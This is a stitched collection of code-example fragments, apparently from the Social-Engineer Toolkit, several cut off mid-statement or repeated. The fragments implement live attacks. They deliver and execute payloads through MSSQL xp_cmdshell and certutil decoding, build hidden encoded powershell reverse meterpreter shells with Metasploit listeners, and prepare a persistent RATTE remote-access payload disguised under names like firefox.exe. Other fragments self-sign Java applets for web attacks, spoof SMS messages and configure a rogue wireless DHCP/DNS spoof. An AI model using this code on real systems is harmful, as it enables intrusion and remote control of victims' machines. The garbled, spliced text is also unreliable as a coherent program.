                           "GO;"
                           "RECONFIGURE;"
                           "GO")
    except:
        pass
    # just throw a simple command via powershell to get the output
    try:
        print("""Pick which deployment method to use. The first is PowerShell and should be used on any modern operating system. The second method will use the certutil method to convert a binary to a binary.\n""")

        choice = input("Enter your choice:\n\n"
                       "1.) Use PowerShell Injection (recommended)\n"
                       "2.) Use Certutil binary conversion\n\n"
                       "Enter your choice [1]:")
        if choice == "":
            choice = "1"
        if choice == "1":
            core.print_status("Powershell injection was selected to deploy to the remote system (awesome).")
            option_ps = input("Do you want to use powershell injection? [yes/no]:")
            if option_ps.lower() == "" or option_ps == "y" or option_ps == "yes":
                option = "1"
                core.print_status("Powershell delivery selected. Boom!")
            else:
                option = "2"

        # otherwise, fall back to the older version using debug conversion via hex
        else:
            core.print_status("Powershell not selected, using debug method.")
            option = "2"

    except Exception as err:
        print(err)
    payload_filename = None

    # if we don't have powershell
    if option == "2":
        # give option to use msf or your own
        core.print_status("You can either select to use a default "
                          "Metasploit payload here or import your "
                          "own in order to deliver to the system. "
                          "Note that if you select your own, you "
                          "will need to create your own listener "
                          "at the end in order to capture this.\n\n")
        choice1 = input("1.) Use Metasploit (default)\n"
                        "2.) Select your own\n\n"
                        "Enter your choice[1]:")

        if choice1 == "":
            choice1 = "1"

        if choice1 == "2":
            attempts = 0
            while attempts <= 2:
                payload_filename = input("Enter the path to your file you want to deploy to the system (ex /root/blah.exe):")
                if os.path.isfile(payload_filename):
                    break
                else:
                    core.print_error("File not found! Try again.")
                    attempts += 1
            else:
                core.print_error("Computers are hard. Find the path and try again. Defaulting to Metasploit payload.")
                choice1 = "1"

        if choice1 == "1":
            web_path = None

            #prep_powershell_payload()
            import src.core.payloadgen.create_payloads 

            # if we are using a SET interactive shell payload then we need to make
            # the path under web_clone versus ~./set
            if os.path.isfile(os.path.join(core.setdir + "set.payload")):
                web_path = os.path.join(core.setdir + "web_clone")
                # then we are using metasploit
            else:
                if operating_system == "posix":
                    web_path = core.setdir
                    # if it isn't there yet
                    if not os.path.isfile(core.setdir + "1msf.exe"):
                        # move it then
                        subprocess.Popen("cp %s/msf.exe %s/1msf.exe" %
                                         (core.setdir, core.setdir), shell=True).wait()
                        subprocess.Popen("cp %s/1msf.exe %s/ 1> /dev/null 2> /dev/null" %
                                         (core.setdir, core.setdir), shell=True).wait()
                        subprocess.Popen("cp %s/msf2.exe %s/msf.exe 1> /dev/null 2> /dev/null" %
                                         (core.setdir, core.setdir), shell=True).wait()
            payload_filename = os.path.join(web_path + "1msf.exe")

        with open(payload_filename, "rb") as fileopen:
            # read in the binary
            data = fileopen.read()
            # convert the binary to hex
            data = binascii.hexlify(data)
            # we write out binary out to a file

        with open(os.path.join(core.setdir + "payload.hex"), "w") as filewrite:
            filewrite.write(data)

        if choice1 == "1":
            # if we are using metasploit, start the listener
            if not os.path.isfile(os.path.join(core.setdir + "set.payload")):
                if operating_system == "posix":
                    try:
                        core.module_reload(pexpect)
                    except:
                        import pexpect
                        core.print_status("Starting the Metasploit listener...")
                        msf_path = core.meta_path()
                        child2 = pexpect.spawn("{0} -r {1}\r\n\r\n".format(os.path.join(core.meta_path() + "msfconsole"),
                                                                        os.path.join(core.setdir + "meta_config")))

        # random executable name
        random_exe = core.generate_random_string(10, 15)

    #
    # next we deploy our hex to binary if we selected option 1 (powershell)
    #
    if option == "1":
        core.print_status("Using universal powershell x86 process downgrade attack..")
        payload = "x86"

        # specify ipaddress of reverse listener
        ipaddr = core.grab_ipaddress()
        core.update_options("IPADDR=" + ipaddr)
        port = input(core.setprompt(["29"], "Enter the port for the reverse [443]"))

        if not port:
            port = "443"

        core.update_options("PORT={0}".format(port))
        core.update_options("POWERSHELL_SOLO=ON")
        core.print_status("Prepping the payload for delivery and injecting alphanumeric shellcode...")

        #with open(os.path.join(core.setdir + "/payload_options.shellcode"), "w") as filewrite:
        # format needed for shellcode generation
        filewrite = file(core.setdir + "/payload_options.shellcode", "w")
        filewrite.write("windows/meterpreter/reverse_https {0},".format(port))
        filewrite.close()

        try:
            core.module_reload(src.payloads.powershell.prep)
        except:
            import src.payloads.powershell.prep

        # launch powershell
        #prep_powershell_payload()

        # create the directory if it does not exist
        if not os.path.isdir(os.path.join(core.setdir + "reports/powershell")):
            os.makedirs(os.path.join(core.setdir + "reports/powershell"))

        #with open(os.path.join(core.setdir + "x86.powershell")) as x86:
        x86 = file(core.setdir + "x86.powershell").read().rstrip()
        #    x86 = x86.read()

        x86 = "powershell -nop -window hidden -noni -e {0}".format(x86)
        core.print_status("If you want the powershell commands and attack, "
                          "they are exported to {0}".format(os.path.join(core.setdir + "reports/powershell")))
        filewrite = open(core.setdir + "/reports/powershell/x86_powershell_injection.txt", "w")
        filewrite.write(x86)
        filewrite.close()

        # if our payload is x86 based - need to prep msfconsole rc
        if payload == "x86":
            powershell_command = x86
            # powershell_dir = core.setdir + "/reports/powershell/x86_powershell_injection.txt"
            #with open(os.path.join(core.setdir + "reports/powershell/powershell.rc"), "w") as filewrite:
            filewrite = open(core.setdir + "reports/powershell/powershell.rc", "w")
            filewrite.write("use multi/handler\n"
                                "set payload windows/meterpreter/reverse_https\n"
                                "set lport {0}\n"
                                "set LHOST 0.0.0.0\n"
                                "exploit -j".format(port))
            filewrite.close()

        else:
            powershell_command = None

        # grab the metasploit path from config or smart detection
        msf_path = core.meta_path()
        if operating_system == "posix":

            try:
                core.module_reload(pexpect)
            except:
                import pexpect

            core.print_status("Starting the Metasploit listener...")
            child2 = pexpect.spawn("{0} -r {1}".format(os.path.join(msf_path + "msfconsole"),
                                                     os.path.join(core.setdir + "reports/powershell/powershell.rc")))
            core.print_status("Waiting for the listener to start first before we continue forward...")
            core.print_status("Be patient, Metasploit takes a little bit to start...")
            #child2.expect("Starting the payload handler", timeout=30000)
            child2.expect("Processing", timeout=30000)
            core.print_status("Metasploit started... Waiting a couple more seconds for listener to activate..")
            time.sleep(5)

        # assign random_exe command to the powershell command
        random_exe = powershell_command

    #
    # next we deploy our hex to binary if we selected option 2 (debug)
    #

    if option == "2":

        # here we start the conversion and execute the payload
        core.print_status("Sending the main payload via to be converted back to a binary.")
        # read in the file 900 bytes at a time
        #with open(os.path.join(core.setdir + 'payload.hex'), 'r') as fileopen:
        fileopen = open(core.setdir + 'payload.hex', "r")
        core.print_status("Dropping initial begin certificate header...")
        conn.execute_query("exec master ..xp_cmdshell 'echo -----BEGIN CERTIFICATE----- > {0}.crt'".format(random_exe))
        while fileopen:
            data = fileopen.read(900).rstrip()
            #for data in fileopen.read(900).rstrip():
            if data == "":
                break

            core.print_status("Deploying payload to victim machine (hex): {bold}{data}{endc}\n".format(bold=core.bcolors.BOLD,
                                                                                                       data=data,
                                                                                                       endc=core.bcolors.ENDC))

            conn.execute_query("exec master..xp_cmdshell 'echo {data} >> {exe}.crt'".format(data=data,
                                                                                            exe=random_exe))
        core.print_status("Delivery complete. Converting hex back to binary format.")
        core.print_status("Dropping end header for binary format conversion...")
        conn.execute_query("exec master ..xp_cmdshell 'echo -----END CERTIFICATE----- >> {0}.crt'".format(random_exe))
        core.print_status("Converting hex binary back to hex using certutil - Matthew Graeber man crush enabled.")
        conn.execute_query("exec master..xp_cmdshell 'certutil -decode {0}.crt {0}.exe'".format(random_exe))
        core.print_status("Executing the payload - magic has happened and now its time for that moment.. "
                          "You know. When you celebrate. Salute to you ninja - you deserve it.")
        conn.execute_query("exec master..xp_cmdshell '{0}.exe'".format(random_exe))
        # if we are using SET payload
        if choice1 == "1":
            if os.path.isfile(os.path.join(core.setdir + "set.payload")):
                core.print_status("Spawning separate child process for listener...")
                try:
                    shutil.copyfile(os.path.join(core.setdir + "web_clone/x"), definepath)
                except:
                    pass

                # start a threaded webserver in the background
                subprocess.Popen("python src/html/fasttrack_http_server.py", shell=True)
                # grab the port options

                # if core.check_options("PORT=") != 0:
                #     port = core.heck_options("PORT=")
                #
                # # if for some reason the port didnt get created we default to 443
                # else:
                #     port = "443"

    # thread is needed here due to the connect not always terminating thread,
    # it hangs if thread isnt specified
    try:
        core.module_reload(thread)
    except:
        import thread

    # execute the payload
    # we append more commands if option 1 is used
    if option == "1":
        core.print_status("Triggering the powershell injection payload... ")
        sql_command = ("exec master..xp_cmdshell '{0}'".format(powershell_command))
        thread.start_new_thread(conn.execute_query, (sql_command,))

    # using the old method
    if option == "2":
        core.print_status("Triggering payload stager...")
        alphainject = ""
        if os.path.isfile(os.path.join(core.setdir + "meterpreter.alpha")):
            with open(os.path.join(core.setdir + "meterpreter.alpha")) as fileopen:
                alphainject = fileopen.read()

        sql_command = ("xp_cmdshell '{0}.exe {1}'".format(random_exe, alphainject))
        # start thread of SQL command that executes payload
        thread.start_new_thread(conn.execute_query, (sql_command,))
        time.sleep(1)

    # if pexpect doesnt exit right then it freaks out
    if choice1 == "1":
        if os.path.isfile(os.path.join(core.setdir + "set.payload")):
            os.system("python ../../payloads/set_payloads/listener.py")
        try:
            # interact with the child process through pexpect
            child2.interact()
            try:
                os.remove("x")
            except:
                pass
        except:
            pass
if not os.path.isfile(dnsspoof_path):
    if os.path.isfile("/usr/sbin/dnsspoof"):
        dnsspoof_path = "/usr/sbin/dnsspoof"
    else:
        core.print_warning("DNSSpoof was not found. Please install or correct path in set_config. Exiting....")
        core.exit_set()

if not os.path.isfile(airbase_path):
    airbase_path = "src/wireless/airbase-ng"
    core.print_info("using SET's local airbase-ng binary")

core.print_info("For this attack to work properly, we must edit the isc-dhcp-server file to include our wireless interface.")
core.print_info("""This will allow isc-dhcp-server to properly assign IPs. (INTERFACES="at0")""")
print("")
core.print_status("SET will now launch nano to edit the file.")
core.print_status("Press ^X to exit nano and don't forget to save the updated file!")
core.print_warning("If you receive an empty file in nano, please check the path of your isc-dhcp-server file!")
core.return_continue()
subprocess.Popen("nano /etc/dhcp/dhcpd.conf", shell=True).wait()

# DHCP SERVER CONFIG HERE
dhcp_config1 = ("""
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
    range 10.0.0.100 10.0.0.254;
    option domain-name-servers 8.8.8.8;
    option routers 10.0.0.1;
    option broadcast-address 10.0.0.255;
Example #29
0
      "plan that you want, you will need to remember your email address and password used for "
      "the account. SET will then handle the rest.\n")

print("In order for this to work you must have an account over at spoofmytextmessage.com\n")
print("Special thanks to Khalil @sehnaoui for testing out the service for me and finding "
      "spoofmytextmessage.com\n")

core.print_error("DISCLAIMER: By submitting yes, you understand that you accept all terms and "
                 "services from spoofmytextmessage.com and you are fully aware of your countries "
                 "legal stance on SMS spoofing prior to performing any of these. By accepting yes "
                 "you fully acknowledge these terms and will not use them for unlawful purposes.")

message = input("\nDo you accept these terms (yes or no): ")

if message == "yes":
    core.print_status("Okay! Moving on - SET needs some information from you in order to spoof the message.")
    email = input(core.setprompt(["7"], "Enter your email address for the spoofmytextmessage.com account"))
    pw = input(core.setprompt(["7"], "Enter your password for the spoofmytextmessage.com account"))
    core.print_status("The next section requires a country code, this is the code you would use to dial "
                      "to the specific country, for example if I was sending a message to 555-555-5555 to "
                      "the United States (or from) you would enter +1 below.")

    tocountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending TO "
                                            "(for example U.S would be '+1')[+1]"))
    if tocountry == "":
        tocountry = "+1"

    fromcountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending FROM "
                                              "(for example U.S. would be '+1')[+1]"))
    if fromcountry == "":
        fromcountry = "+1"
Example #30
0
def prep_powershell_payload():

    # grab stage encoding flag
    stage_encoding = core.check_config("STAGE_ENCODING=").lower()
    if stage_encoding == "off":
        stage_encoding = "false"
    else:
        stage_encoding = "true"

    # check to see if we are just generating powershell code
    powershell_solo = core.check_options("POWERSHELL_SOLO")

    # check if port is there
    port = core.check_options("PORT=")

    # check if we are using auto_migrate
    auto_migrate = core.check_config("AUTO_MIGRATE=")

    # check if we are using pyinjection
    pyinjection = core.check_options("PYINJECTION=")
    if pyinjection == "ON":
        # check to ensure that the payload options were specified right
        if os.path.isfile(os.path.join(core.setdir, "payload_options.shellcode")):
            pyinjection = "on"
            core.print_status("Multi/Pyinjection was specified. Overriding config options.")
        else:
            pyinjection = "off"

    # grab ipaddress
    if core.check_options("IPADDR=") != 0:
        ipaddr = core.check_options("IPADDR=")
    else:
        ipaddr = input("Enter the ipaddress for the reverse connection: ")
        core.update_options("IPADDR=" + ipaddr)

    # check to see if we are using multi powershell injection
    multi_injection = core.check_config("POWERSHELL_MULTI_INJECTION=").lower()

    # turn off multi injection if pyinjection is specified
    if pyinjection == "on":
        multi_injection = "off"

    # check what payloads we are using
    powershell_inject_x86 = core.check_config("POWERSHELL_INJECT_PAYLOAD_X86=")

    # if we specified a hostname then default to reverse https/http
    if not core.validate_ip(ipaddr):
        powershell_inject_x86 = "windows/meterpreter/reverse_http"

    # prompt what port to listen on for powershell then make an append to the current
    # metasploit answer file
    if os.path.isfile(os.path.join(core.setdir, "meta_config_multipyinjector")):
        # if we have multi injection on, don't worry about these
        if multi_injection != "on" and pyinjection == "off":
            core.print_status("POWERSHELL_INJECTION is set to ON with multi-pyinjector")
            port = input(core.setprompt(["4"], "Enter the port for Metasploit to listen on for powershell [443]"))
            if not port:
                port = "443"
            with open(os.path.join(core.setdir, "meta_config_multipyinjector")) as fileopen:
                data = fileopen.read()
            match = re.search(port, data)
            if not match:
                with open(os.path.join(core.setdir, "meta_config_multipyinjector"), "a") as filewrite:
                    filewrite.write("\nuse exploit/multi/handler\n")
                    if auto_migrate == "ON":
                        filewrite.write("set AutoRunScript post/windows/manage/smart_migrate\n")
                    filewrite.write("set PAYLOAD {0}\n"
                                    "set LHOST {1}\n"
                                    "set LPORT {2}\n"
                                    "set EnableStageEncoding {3}\n"
                                    "set ExitOnSession false\n"
                                    "exploit -j\n".format(powershell_inject_x86, ipaddr, port, stage_encoding))

    # if we have multi injection on, don't worry about these
    if multi_injection != "on" and pyinjection == "off":
        # check to see if the meta config multi pyinjector is there
        if not os.path.isfile(os.path.join(core.setdir, "meta_config_multipyinjector")):
            if core.check_options("PORT=") != 0:
                port = core.check_options("PORT=")
            # if port.options isnt there then prompt
            else:
                port = input(core.setprompt(["4"], "Enter the port for Metasploit to listen on for powershell [443]"))
                if not port:
                    port = "443"
                core.update_options("PORT={0}".format(port))

    # turn off multi_injection if we are riding solo from the powershell menu
    if powershell_solo == "ON":
        multi_injection = "off"
        pyinjection = "on"

    # if we are using multi powershell injection
    if multi_injection == "on" and pyinjection == "off":
        core.print_status("Multi-Powershell-Injection is set to ON, this should be sweet...")

    # define a base variable
    x86 = ""

    # specify a list we will use for later
    multi_injection_x86 = ""

    # here we do some funky loops so we don't need to rewrite the code below
    if multi_injection == "on":
        port = core.check_config("POWERSHELL_MULTI_PORTS=")
        port = port.split(",")

    if multi_injection == "on":
        # iterate through the ports, used for POWERSHELL_MULTI_PORTS
        for ports in port:
            # dont cycle through if theres a blank
            if ports:
                core.print_status("Generating x86-based powershell injection code for port: {0}".format(ports))
                multi_injection_x86 = multi_injection_x86 + "," + core.generate_powershell_alphanumeric_payload(powershell_inject_x86, ipaddr, ports, x86)

                if os.path.isfile(os.path.join(core.setdir, "meta_config_multipyinjector")):
                    port_check = core.check_ports(os.path.join(core.setdir, "meta_config_multipyinjector"), ports)
                    if not port_check:
                        with open(os.path.join(core.setdir, "meta_config_multipyinjector"), "a") as filewrite:
                            filewrite.write("\nuse exploit/multi/handler\n")
                            if auto_migrate == "ON":
                                filewrite.write("set AutoRunScript post/windows/manage/smart_migrate\n")
                            filewrite.write("set PAYLOAD {0}\n"
                                            "set LHOST {1}\n"
                                            "set EnableStageEncoding {2}\n"
                                            "set LPORT {3}\n"
                                            "set ExitOnSession false\n"
                                            "exploit -j\n\n".format(powershell_inject_x86, ipaddr, stage_encoding, ports))

                # if we aren't using multi pyinjector
                if not os.path.isfile(os.path.join(core.setdir, "meta_config_multipyinjector")):
                    # if meta config isn't created yet then create it
                    if not os.path.isfile():
                        with open(os.path.join(core.setdir, "meta_config"), "w") as filewrite:
                            filewrite.write("")
                    port_check = core.check_ports(os.path.join(core.setdir, "meta_config"), ports)
                    if not port_check:
                        with open(os.path.join(core.setdir, "meta_config"), "a") as filewrite:
                            filewrite.write("\nuse exploit/multi/handler\n")
                            if auto_migrate == "ON":
                                filewrite.write("set AutoRunScript post/windows/manage/smart_migrate\n")
                            filewrite.write("set PAYLOAD {0}\n"
                                            "set LHOST {1}\n"
                                            "set EnableStageEncoding {2}\n"
                                            "set ExitOnSession false\n"
                                            "set LPORT {3}\n"
                                            "exploit -j\n\n".format(powershell_inject_x86, ipaddr, stage_encoding, ports))

    # here we do everything if pyinjection or multi pyinjection was specified
    if pyinjection == "on":
        injections = []
        # read in the file we need for parsing
        with open(os.path.join(core.setdir, "payload_options.shellcode")) as fileopen:
            payloads = fileopen.read()[:-1].rstrip()  # strips an extra ,
        payloads = payloads.split(",")
        # format: payload<space>port
        for payload in payloads:
            # format: payload<space>port
            payload = payload.split(" ")
            powershell_inject_x86 = payload[0]
            port = payload[1]
            core.print_status("Generating x86-based powershell injection code...")
            injections.append(core.generate_powershell_alphanumeric_payload(powershell_inject_x86, ipaddr, port, x86))
        multi_injection_x86 = ",".join(injections)

    # if its turned to off
    if multi_injection == "off" and pyinjection == "off":
        core.print_status("Generating x86-based powershell injection code...")
        x86 = core.generate_powershell_alphanumeric_payload(powershell_inject_x86, ipaddr, port, x86)

    # if we are specifying multi powershell injection
    if multi_injection == "on" or pyinjection == "on":
        x86 = multi_injection_x86[1:]  # remove comma at beginning

    # check to see if we want to display the powershell command to the user
    verbose = core.check_config("POWERSHELL_VERBOSE=")
    if verbose.lower() == "on":
        core.print_status("Printing the x86 based encoded code...")
        time.sleep(3)
        print(x86)

    with open(os.path.join(core.setdir, "x86.powershell"), "w") as filewrite:
        filewrite.write(x86)
    core.print_status("Finished generating powershell injection bypass.")
    core.print_status("Encoded to bypass execution restriction policy...")
Example #31
0
    pass

# see if we are tracking emails
track_email = core.check_config("TRACK_EMAIL_ADDRESSES=").lower()

# grab the randomized applet name
applet_name = core.check_options("APPLET_NAME=")
if applet_name == "":
    applet_name = core.generate_random_string(6, 15) + ".jar"
    core.update_options("APPLET_NAME=" + applet_name)

# define if we are using a custom payload
custom = 0
if core.check_options("CUSTOM_EXE="):
    custom = 1
    core.print_status("Note that since you are using a custom payload, you will need to create your OWN listener.")
    core.print_status("SET has no idea what type of payload you are using, so you will need to set this up manually.")
    core.print_status("If using a custom Metasploit payload, setup a multi/handler, etc. to capture the connection back.")

    # here we need to modify the java applet to recognize custom attribute
    with  open(os.path.join(core.setdir, "web_clone/index.html")) as fileopen:
        data = fileopen.read()

    with open(os.path.join(core.setdir, "web_clone/index.html.new"), "w") as filewrite:

        # we randomize param name so static sigs cant be used
        goat_random = core.generate_random_string(4, 4)
        data = data.replace('param name="8" value="YES"', 'param name="8" value="{0}"'.format(goat_random))
        filewrite.write(data)

    subprocess.Popen("mv {0} {1}".format(os.path.join(core.setdir, "web_clone/index.html.new"),
        # grab name of organizaton
        answer2=raw_input(core.setprompt("0", "Name of the organization"))
        # grab two letter country code
        answer3=raw_input(core.setprompt("0", "Two letter country code (ex. US)"))
        # if blank, default to US
        if answer3 == "": answer3 = "US"
        # grab state
        answer4=raw_input(core.setprompt("0", "State"))
        # grab city
        answer5=raw_input(core.setprompt("0", "City"))
        # generate the request crl
        subprocess.Popen('keytool -genkey -alias MyCert -keyalg RSA -keysize 2048 -dname "CN=%s,O=%s,C=%s,ST=%s,L=%s"' % (answer1,answer2,answer3, answer4, answer5), shell=True).wait()
        core.print_info("Exporting the cert request to text file...")
        # generate the request and export to certreq
        subprocess.Popen("keytool -certreq -alias MyCert > %s/certreq.txt" % (definepath), shell=True).wait()
        core.print_status("Export successful. Exported certificate under the SET root under certreq.txt")
        core.print_warning("You will now need to pay for a code signing certificate through Verisign/Thawte/GoDaddy/etc.")
        core.print_warning("Be sure to purchase a code signing certificate, not a normal website SSL certificate.")
        core.print_info("When finished, enter the path to the .cer file below")
        # cert_path is used for the certificate path when generating

        cert_path = raw_input(core.setprompt("0", "Path for the code signing certificate file (.spc file)"))
        # if we can't find the filename
        if not os.path.isfile(cert_path):
            while 1 == 1:
                core.print_error("ERROR:Filename not found. Please try again.")
                # re-prompt if file name doesn't exist
                cert_path = raw_input(core.setprompt("0", "Path to the .cer certificate file from Verisign"))
                # if we detect file, then break out of loop
                if os.path.isfile(cert_path): break
def main():
    valid_site = False
    valid_ip = False
    valid_response = False
    input_counter = 0

    #################
    # get User Input
    #################
    # ipaddr=input(setprompt(["9", "2"], "IP address to connect back on"))
    while valid_ip != True and input_counter < 3:
        ipaddr = input(core.setprompt(["9", "2"], "Enter the IP address to connect back on"))
        valid_ip = core.validate_ip(ipaddr)
        if not valid_ip:
            if input_counter == 2:
                core.print_error("\nMaybe you have the address written down wrong?")
                sleep(4)
                return
            else:
                input_counter += 1

    # try:
    #         ratteport=int(input(setprompt(["9", "2"], "Port RATTE Server should listen on")))
    #         while ratteport==0 or ratteport > 65535:
    #                 print_warning('Port must not be equal to javaport!')
    #                 ratteport=int(input(setprompt(["9", "2"], "Enter port RATTE Server should listen on")))
    # except ValueError:
    #         ratteport=8080

    try:
        ratteport = int(input(core.setprompt(["9", "2"], "Port RATTE Server should listen on [8080]")))
        while ratteport == 0 or ratteport > 65535:
            if ratteport == 0:
                core.print_warning(text.PORT_NOT_ZERO)
            if ratteport > 65535:
                core.print_warning(text.PORT_TOO_HIGH)
            ratteport = int(input(core.setprompt(["9", "2"], "Enter port RATTE Server should listen on [8080]")))
    except ValueError:
        # core.print_info("Port set to default of 8080")
        ratteport = 8080

    # persistent=input(setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
    # if persistent == 'no' or persistent == '' or persistent == 'n':
    #         persistent='NO'
    # else:
    #         persistent='YES'

    while not valid_response:
        persistent = input(core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
        persistent = str.lower(persistent)
        if persistent == "no" or persistent == "n":
            persistent = "NO"
            valid_response = True
        elif persistent == "yes" or persistent == "y":
            persistent = "YES"
            valid_response = True
        else:
            core.print_warning(text.YES_NO_RESPONSES)

    valid_response = False

    customexe = input(core.setprompt(["9", "2"], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))

    ############
    # prepare RATTE
    ############
    prepare_ratte(ipaddr, ratteport, persistent, customexe)

    core.print_status("Payload has been exported to %s" % os.path.join(core.setdir + "ratteM.exe"))

    ###################
    # start ratteserver
    ###################
    # prompt=input(setprompt(["9", "2"], "Start the ratteserver listener now [yes|no]"))
    # if prompt == "yes" or prompt == "" or prompt == "y":
    #         print_info("Starting ratteserver...")
    #         ratte_listener_start(ratteport)

    while not valid_response:
        prompt = input(core.setprompt(["9", "2"], "Start the ratteserver listener now [yes|no]"))
        prompt = str.lower(prompt)
        if prompt == "no" or prompt == "n":
            # prompt = "NO"
            core.print_error("Aborting...")
            sleep(2)
            valid_response = True
        elif prompt == "yes" or prompt == "y":
            core.print_info("Starting ratteserver...")
            ratte_listener_start(ratteport)
            core.print_info("Stopping ratteserver...")
            sleep(2)
            valid_response = True
        else:
            core.print_warning("valid responses are 'n|y|N|Y|no|yes|No|Yes|NO|YES'")
 Name: FakeCompany
 Organization: Fake Company
 Organization Name: Fake Company
 City: Cleveland
 State: Ohio
 Country: US
 Is this correct: yes
"""

setcore.print_error("*** WARNING ***")
setcore.print_error("IN ORDER FOR THIS TO WORK YOU MUST INSTALL sun-java6-jdk or openjdk-6-jdk, so apt-get install openjdk-6-jdk")
setcore.print_error("*** WARNING ***")

# random string used to generate signature of java applet
random_string = setcore.generate_random_string(10, 30)

# grab keystore to use later
subprocess.Popen("keytool -genkey -alias %s -keystore mykeystore -keypass mykeypass -storepass mystorepass" % (random_string), shell=True).wait()

# self-sign the applet
subprocess.Popen("jarsigner -keystore mykeystore -storepass mystorepass -keypass mykeypass -signedjar Signed_Update.jar unsigned.jar %s" % (random_string), shell=True).wait()

# move it into our html directory
subprocess.Popen("cp Signed_Update.jar ../", shell=True).wait()
subprocess.Popen("mv Signed_Update.jar ../../program_junk/", shell=True)

# move back to original directory
os.chdir("../../../")
setcore.print_status("Java Applet is now signed and will be imported into the website")
#

try:

    # specify ipaddress of reverse listener
    ipaddr = core.grab_ipaddress()
    core.update_options("IPADDR=" + ipaddr)
    port = input(core.setprompt(["29"], "Enter the port for the reverse [443]"))
    if port == "":
        port = "443"
    core.update_options("PORT={0}".format(port))
    with open(os.path.join(core.userconfigpath, "payload_options.shellcode"), "w") as filewrite:
        # format needed for shellcode generation
        filewrite.write("{0} {1},".format(payload, port))
    core.update_options("POWERSHELL_SOLO=ON")
    core.print_status("Prepping the payload for delivery and injecting alphanumeric shellcode...")

    try:
        core.module_reload(src.payloads.powershell.prep)
    except:
        import src.payloads.powershell.prep

    # create the directory if it does not exist
    if not os.path.isdir(os.path.join(core.userconfigpath, "reports/powershell")):
        os.makedirs(os.path.join(core.userconfigpath, "reports/powershell"))

    x86 = open(core.userconfigpath + "x86.powershell", "r").read()
    x86 = core.powershell_encodedcommand(x86) 
    core.print_status("If you want the powershell commands and attack, they are exported to {0}".format(os.path.join(core.userconfigpath, "reports/powershell")))
    filewrite = file(core.userconfigpath + "reports/powershell/x86_powershell_injection.txt", "w")
    filewrite.write(x86)
firstprompt = input("Enter your choice [1-2]: ")
if not firstprompt:
    firstprompt = "2"

# if we want to import our own java applet
if firstprompt == "1":
    newpath = input("Enter the path to the .jar file: ")
    if not os.path.isfile(newpath):
        while True:
            core.print_error("Unable to locate the file. Please try again.")
            newpath = input("Enter the path to the .jar file: ")
            if os.path.isfile(newpath):
                break

    # import into SET
    core.print_status("Importing the applet into SET for weaponization...")
    shutil.copyfile(newpath, os.path.join(core.setdir, "Signed_Update.jar.orig"))
    shutil.copyfile(newpath, os.path.join(core.setdir, "Signed_Update.jar"))
    core.print_status("The applet has been successfully imported into SET.")

# if we want to either generate a certificate or use our own certificate
# this is it
if firstprompt == "2":
    cert_path = ""
    # prompt for a different certificate
    prompt = input(core.setprompt("0", "Have you already generated a code signing-certificate? [yes|no]")).lower()
    # if we selected yes if we generated a code signing certificate
    if prompt == "yes" or prompt == "y":
        # prompt the user to import the code signing certificate
        cert_path = input(core.setprompt("0", "Path to the code signing certificate file (provided by CA)"))
        if not os.path.isfile(cert_path):
powershell_menu_choice = input(core.setprompt(["29"], ""))

if powershell_menu_choice != "99":
    # specify ipaddress of reverse listener
    #ipaddr = core.grab_ipaddress()
    ipaddr = raw_input("Enter the IPAddress or DNS name for the reverse host: ")
    core.update_options("IPADDR=" + ipaddr)

    # if we select alphanumeric shellcode
    if powershell_menu_choice == "1":
        port = input(core.setprompt(["29"], "Enter the port for the reverse [443]"))
        if not port:
            port = "443"
        core.update_options("PORT=" + port)
        core.update_options("POWERSHELL_SOLO=ON")
        core.print_status("Prepping the payload for delivery and injecting alphanumeric shellcode...")

        with open(core.setdir + "/payload_options.shellcode", "w") as filewrite:
            filewrite.write("windows/meterpreter/reverse_https {},".format(port))

        try:
            core.module_reload(src.payloads.powershell.prep)
        except:
            import src.payloads.powershell.prep

        #prep_powershell_payload()

        # create the directory if it does not exist
        if not os.path.isdir(core.setdir + "/reports/powershell"):
            os.makedirs(core.setdir + "/reports/powershell")
Example #38
0
def main():
    valid_site = False
    valid_ip = False
    valid_response = False
    input_counter = 0

    #################
    # get User Input
    #################
    # ipaddr=input(setprompt(["9", "2"], "IP address to connect back on"))
    while valid_ip != True and input_counter < 3:
        ipaddr = input(
            core.setprompt(["9", "2"],
                           "Enter the IP address to connect back on"))
        valid_ip = core.validate_ip(ipaddr)
        if not valid_ip:
            if input_counter == 2:
                core.print_error(
                    "\nMaybe you have the address written down wrong?")
                sleep(4)
                return
            else:
                input_counter += 1

    # try:
    #         ratteport=int(input(setprompt(["9", "2"], "Port RATTE Server should listen on")))
    #         while ratteport==0 or ratteport > 65535:
    #                 print_warning('Port must not be equal to javaport!')
    #                 ratteport=int(input(setprompt(["9", "2"], "Enter port RATTE Server should listen on")))
    # except ValueError:
    #         ratteport=8080

    try:
        ratteport = int(
            input(
                core.setprompt(["9", "2"],
                               "Port RATTE Server should listen on [8080]")))
        while ratteport == 0 or ratteport > 65535:
            if ratteport == 0:
                core.print_warning(text.PORT_NOT_ZERO)
            if ratteport > 65535:
                core.print_warning(text.PORT_TOO_HIGH)
            ratteport = int(
                input(
                    core.setprompt(
                        ["9", "2"],
                        "Enter port RATTE Server should listen on [8080]")))
    except ValueError:
        # core.print_info("Port set to default of 8080")
        ratteport = 8080

    # persistent=input(setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
    # if persistent == 'no' or persistent == '' or persistent == 'n':
    #         persistent='NO'
    # else:
    #         persistent='YES'

    while not valid_response:
        persistent = input(
            core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
        persistent = str.lower(persistent)
        if persistent == "no" or persistent == "n":
            persistent = "NO"
            valid_response = True
        elif persistent == "yes" or persistent == "y":
            persistent = "YES"
            valid_response = True
        else:
            core.print_warning(text.YES_NO_RESPONSES)

    valid_response = False

    customexe = input(
        core.setprompt([
            "9", "2"
        ], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))

    ############
    # prepare RATTE
    ############
    prepare_ratte(ipaddr, ratteport, persistent, customexe)

    core.print_status("Payload has been exported to %s" %
                      os.path.join(core.userconfigpath, "ratteM.exe"))

    ###################
    # start ratteserver
    ###################
    # prompt=input(setprompt(["9", "2"], "Start the ratteserver listener now [yes|no]"))
    # if prompt == "yes" or prompt == "" or prompt == "y":
    #         print_info("Starting ratteserver...")
    #         ratte_listener_start(ratteport)

    while not valid_response:
        prompt = input(
            core.setprompt(["9", "2"],
